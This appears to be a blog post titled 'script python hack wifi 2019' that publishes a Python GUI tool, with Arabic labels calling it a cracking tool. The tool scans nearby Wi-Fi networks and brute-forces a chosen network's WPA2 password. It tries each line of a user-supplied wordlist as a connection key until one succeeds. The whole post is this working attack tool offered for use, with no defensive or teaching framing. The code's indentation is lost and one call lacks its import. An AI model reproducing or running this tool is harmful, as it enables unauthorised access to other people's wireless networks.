script python hack wifi
script python hack wifi 2019
# -*- coding: utf-8 -*-
# Date: 2019/01/10
# Created by
# Description Wifi
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox
class MY_GUI():
def __init__(self,init_window_name):
self.init_window_name = init_window_name
self.get_value = StringVar()
self.get_wifi_value = StringVar()
self.get_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi()
self.iface = self.wifi.interfaces()[0]
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
def set_init_window(self):
self.init_window_name.title("WIFIأداة الكراك")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200,text="ترتيب")
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe,text="البحث في مكان قريبWiFi",command=self.scans_wifi_list).grid(column=0,row=0)
self.pojie = Button(labelframe,text="البدء في تكسير",command=self.readPassWord).grid(column=1,row=0)
self.label = Label(labelframe,text="مسار الدليل:").grid(column=0,row=1)
self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)
self.file = Button(labelframe,text="إضافة دليل ملف كلمة المرور",command=self.add_mm_file).grid(column=2,row=1)
self.wifi_text = Label(labelframe,text="WiFiرقم الحساب:").grid(column=0,row=2)
self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)
self.wifi_mm_text = Label(labelframe,text="WiFiكلمة المرور:").grid(column=2,row=2)
self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)
self.wifi_labelframe = LabelFrame(text="wifiقائمة")
self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)
self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
self.wifi_tree.bind("<Double-1>",self.onDBClick)
self.vbar.grid(row=4,column=1,sticky=NS)
def scans_wifi_list(self):
print("^_^ ابدأ المسح قريبًاwifi...")
self.iface.scan()
time.sleep(15)
scanres = self.iface.scan_results()
nums = len(scanres)
print("كمية: %s"%(nums))
#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self,scans_res):
for index,wifi_info in enumerate(scans_res):
# print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
#print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
def onDBClick(self,event):
self.sels= event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])
#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
#print("ssid:%s\n" %(self.get_wifissid))
self.pwdfilehander=open(self.getFilePath,"r",errors="ignore")
while True:
try:
self.pwdStr =self.pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1=self.connect(self.pwdStr,self.get_wifissid)
if self.bool1:
self.res = "===صحيح=== wifiاسم:%s تطابق كلمة المرور:%s "%(self.get_wifissid,self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo('موجه', 'متصدع بنجاح!!!')
print(self.res)
break
else:
self.res = "---خطأ--- wifiاسم:%sتطابق كلمة المرور:%s"%(self.get_wifissid,self.pwdStr)
print(self.res)
sleep(3)
except:
continue
def connect(self,pwd_Str,wifi_ssid):
self.profile = pywifi.Profile()
self.profile.ssid =wifi_ssid
self.profile.auth = const.AUTH_ALG_OPEN
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
self.profile.cipher = const.CIPHER_TYPE_CCMP
self.profile.key = pwd_Str
self.iface.remove_all_network_profiles()
self.tmp_profile = self.iface.add_network_profile(self.profile)
self.iface.connect(self.tmp_profile)
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED:
isOK=True
else:
isOK=False
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in\
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
print(ui)
ui.set_init_window()
#ui.scans_wifi_list()
init_window.mainloop()
gui_start()
Disclaimer: Gambar, artikel ataupun video yang ada di web ini terkadang berasal dari berbagai sumber media lain. Hak Cipta sepenuhnya dipegang oleh sumber tersebut. Jika ada masalah terkait hal ini, Anda dapat menghubungi kami disini.
Post a Comment